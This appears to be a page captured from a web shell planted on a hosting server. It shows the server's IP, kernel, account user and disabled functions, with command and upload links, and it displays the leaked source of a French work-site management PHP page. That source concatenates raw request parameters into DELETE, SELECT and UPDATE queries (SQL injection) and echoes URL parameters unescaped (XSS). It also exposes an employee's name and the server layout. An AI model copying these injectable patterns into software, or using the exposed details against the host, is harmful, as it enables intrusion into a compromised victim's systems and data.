|
Server IP : 10.128.40.6 / Your IP : 216.73.216.111 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/MC/../www/mcg/plugins/jszip/../../.github/../sms/../pages/documents/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
include('file_tache.php');
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// if(!empty($_GET['salarie_id']))
// {
// $_SESSION["salarie_id"]=$_GET['cleint_id'];
// }
if(!empty($_GET['client_id']))
{
$client_id = $_GET['client_id'] ;
$_SESSION["client_id"] = $client_id ;
}
else
{
$client_id=$_SESSION["client_id"] ;
}
// $client_id=$_SESSION["client_id"] ;
// $salarie_idd=$_SESSION["salarie_id"] ;
if($_GET['sup']== 1)
{
dbi_query("DELETE FROM `chantier`
WHERE chantier_ID =".$_GET['chantier_ID']) ;
header('Location:fcchantier.php?msg=chantier bien supprimé&color=success');
}
if(!empty($_POST) and isset($_POST['Enregistrer']) and empty($_POST['tache_Priorite']))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// echo "bbb <br/>" ;
$chantier_ponctuel = 0 ;
if($_POST['chantier_type']=="PON")
{
$_POST['chantier_fin'] = $_POST['chantier_debut'] ;
$chantier_ponctuel = 1 ;
}
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// echo "bbb <br/>" ;
// exit() ;
$chantier_recur = 1 ;
$chantier_debut= date2int_DSI($_POST['chantier_debut']) ;
if(!empty($_POST['chantier_fin']))
{
$chantier_fin= date2int_DSI($_POST['chantier_fin']) ;
}
$chantier_forfaitmensuel=$_POST['chantier_forfaitmensuel'] ;
$chantier_TVA=$_POST['chantier_TVA'] ;
$chantier_types=$_POST['chantier_types'] ;
$chantier_designation= addslashes($_POST['chantier_designation']) ;
$chantier_type_id = $_POST['chantier_type_id'] ;
if($chantier_debut == $chantier_fin ){ $chantier_recur = 0 ; } ;
dbi_query(" INSERT INTO chantier (
chantier_debut,
chantier_fin,
chantier_forfaitmensuel,
chantier_TVA,
chantier_types,
chantier_designation,
client_id,
chantier_type_id,
chantier_recur,
chantier_ponctuel
)
VALUES (
'$chantier_debut',
'$chantier_fin',
'$chantier_forfaitmensuel',
'$chantier_TVA',
'$chantier_types',
'$chantier_designation',
'$client_id',
'$chantier_type_id',
'$chantier_recur',
'$chantier_ponctuel'
)") ;
// unset($_POST);
// unset($chantier_TVA);
// unset($chantier_forfaitmensuel);
// header('Location:fcchantier.php?msg=chantier bien ajouté&color=success');
header('Location:fcchantier.php?msg=Chantier bien ajouté&color=success');
}
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// echo "ttt <br/>" ;
if(isset($_POST['Modifier']))
{
$chantier_recur = 1 ;
$chantier_ID = $_POST['chantier_ID'] ;
$chantier_debut= date2int_DSI($_POST['chantier_debut']) ;
if(!empty($_POST['chantier_fin']))
{
$chantier_fin= date2int_DSI($_POST['chantier_fin']) ;
}
$chantier_forfaitmensuel=$_POST['chantier_forfaitmensuel'] ;
$chantier_TVA=$_POST['chantier_TVA'] ;
$chantier_types=$_POST['chantier_types'] ;
$chantier_designation=addslashes($_POST['chantier_designation']) ;
$chantier_type_id = $_POST['chantier_type_id'] ;
if($chantier_debut == $chantier_fin ){ $chantier_recur = 0 ; } ;
dbi_query(" UPDATE chantier SET
chantier_debut = '$chantier_debut',
chantier_fin = '$chantier_fin',
chantier_forfaitmensuel = '$chantier_forfaitmensuel',
chantier_TVA = '$chantier_TVA',
chantier_types = '$chantier_types',
chantier_designation = '$chantier_designation',
client_id = '$client_id',
chantier_recur = '$chantier_recur',
chantier_type_id = $chantier_type_id
where chantier_ID = $chantier_ID
") ;
// header('Location:fcchantier.php?msg=chantier bien modifier ;&color=success');
header('Location:fcchantier.php?msg=Chantier bien Modifié&color=success');
// header('Location:fcchantier.php?msg=Document bien Modifié&color=success');
// UPDATE table
// SET colonne_1 = 'valeur 1', colonne_2 = 'valeur 2', colonne_3 = 'valeur 3'
// WHERE condition
}
$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;
// $q= dbi_fetch_row(dbi_query("SELECT * FROM salarie where salarie_id = ".$client_id)) ;
// header('Content-type: text/html; charset=UTF-8');
?>
<!DOCTYPE html>
<html>
<head>
<?php include('header.php'); ?>
<script type="text/javascript" src="plugins/selectize/selectize.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.css" />
<script type="text/javascript" src="plugins/selectize/selectize.min.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.default.css" />
<link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">
<!-- jQuery 2.2.3 -->
<script src="plugins/jQuery/jquery-2.2.3.min.js"></script>
<!-- Bootstrap 3.3.6 -->
<script src="bootstrap/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"></script>
<!-- SlimScroll -->
<script src="plugins/slimScroll/jquery.slimscroll.min.js"></script>
<style type="text/css">
.modal-backdrop {
/* bug fix - no overlay */
display: none;
}
</style>
<!-- SlimScroll -->
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<button href="#myModal" id="custId" data-toggle="modal" type="button" class="btn btn-primary" ><i class="fas fa-plus"></i> CHANTIER REGULIER </button></h3>
</li>
 
<li>
<button href="#myModal_PON" id="custId" data-toggle="modal" type="button" class="btn btn-primary" ><i class="fas fa-plus"></i> CHANTIER PONCTUEL </button></h3>
</li>
 
<li>
<h3><a href="#myModal_tache_all" id="custId" data-toggle="modal" > <button type="button" class="btn btn-primary" > <i class="fas fa-plus"></i> TACHE</button> </a></h3>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Brand Logo -->
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar -->
<div class="sidebar">
<!-- Sidebar user panel (optional) -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php') ?>
<!-- Sidebar Menu -->
</div>
<!-- /.sidebar -->
</aside>
<div class="modal fade" id="myModal_tache_all" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_tache_all" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal_PON" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_PON" ></div>
</div>
</div>
</div>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1><?php echo $q['client_nom'] ; ?>   -   <?php echo $q['client_cp'] ; ?>   <?php echo $q['client_ville'] ; ?> </h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item"><a href="clients2.php">Clients</a></li>
<li class="breadcrumb-item active"> Chantiers </li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- PAGE PRINCIPALE -->
<div class="col-lg-12">
<!-- CARD DE DROITE-->
<div class="card card-secondary">
<?php include('menu_client_haut.php'); ?>
<!-- CARD DE DROITE-->
<div class="card">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="card-body">
<section class="content">
<div class="row">
<div class="col-12">
</div>
<!-- /.card-header -->
<div class="card-body">
<strong color="red"> <center> <span class="p-3 mb-2 bg-secondary text-white" > <i class="fas fa-thumbs-up"></i> Chantiers en cours </center> </span> </strong>
<br/>
<table id="example1" class="table table-bordered">
<thead>
<tr>
<th>Début</th> <!-- /.Table Client - Champs client_nom -->
<th>Fin</th>
<th>Montant</th> <!-- /.Table Client - Champs client_adr1 -->
<th colspan="2">Désignation</th> <!-- /.Table Client - Champs client_ville -->
<th colspan="2">Type</th>
<th></th>
</tr>
</thead>
<tbody>
<?php
$tday = date('Ymd') ;
// echo "$tday <br/>" ;
// exit() ;
$q= dbi_query("SELECT * FROM chantier where client_id = ".$client_id." and (chantier_fin >= $tday OR chantier_fin = 0 ) ") ;
while($cl=dbi_fetch_row($q))
{
list($type)= dbi_fetch_row( dbi_query(" SELECT chantier_type FROM `chantier_type` where chantier_type_id = ".$cl['chantier_type_id'] ));
?>
<tr>
<td><?=int2date($cl['chantier_debut'])?></td>
<td><?=int2date($cl['chantier_fin'])?></td>
<td><?=$cl['chantier_forfaitmensuel'] ?></td>
<td colspan="2"><?=$cl['chantier_designation'] ?></td>
<td colspan="2"><?php echo $type ; ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$cl['chantier_ID'].'"><i class="fas fa-pencil-alt"></i> Editer</a>';?>
<a class="btn btn-danger btn-sm" href="fcchantier.php?chantier_ID=<?=$cl['chantier_ID']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce chantier ?');">
<i class="fas fa-trash"></i> Supprimer
</a>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- /.row -->
</section>
<section class="content">
<div class="row">
<div class="col-12">
</div>
<!-- /.card-header -->
<div class="card-body">
<strong> <center> <span class="p-3 mb-2 bg-danger text-white"><i class="fas fa-thumbs-down"></i> Chantiers terminés </span></center> </strong>
<br/>
<table id="example1" class="table table-bordered">
<thead>
<tr>
<th>Début</th> <!-- /.Table Client - Champs client_nom -->
<th>Fin</th>
<th>Montant</th> <!-- /.Table Client - Champs client_adr1 -->
<th colspan="2">Désignation</th> <!-- /.Table Client - Champs client_ville -->
<th colspan="2">Type</th>
<th></th>
</tr>
</thead>
<tbody>
<?php
$q= dbi_query("SELECT * FROM chantier where client_id = ".$client_id." and (chantier_fin < $tday AND chantier_fin != 0 ) ORDER BY chantier_fin DESC ") ;
while($cl=dbi_fetch_row($q))
{
list($type)= dbi_fetch_row( dbi_query(" SELECT chantier_type FROM `chantier_type` where chantier_type_id = ".$cl['chantier_type_id'] ));
?>
<tr>
<td><?=int2date($cl['chantier_debut'])?></td>
<td><?=int2date($cl['chantier_fin'])?></td>
<td><?=$cl['chantier_forfaitmensuel'] ?></td>
<td colspan="2"><?=$cl['chantier_designation'] ?></td>
<td colspan="2"><?php echo $type ; ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$cl['chantier_ID'].'"><i class="fas fa-pencil-alt"></i> Editer</a>';?>
<a class="btn btn-danger btn-sm" href="fcchantier.php?chantier_ID=<?=$cl['chantier_ID']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce chantier ?');">
<i class="fas fa-trash"></i> Supprimer
</a>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- /.row -->
</section>
</div></div>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<?php include('footerr.php'); ?>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<!-- Summernote -->
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
$(function () {
// Summernote
$('.textarea').summernote()
})
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxModifierChantierr.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal_PON').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxModifierChantierr_PON.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_PON').html(data);//Show fetched data from database
}
});
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal_tache_all').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'tache_ajax_nv_all.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_tache_all').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>
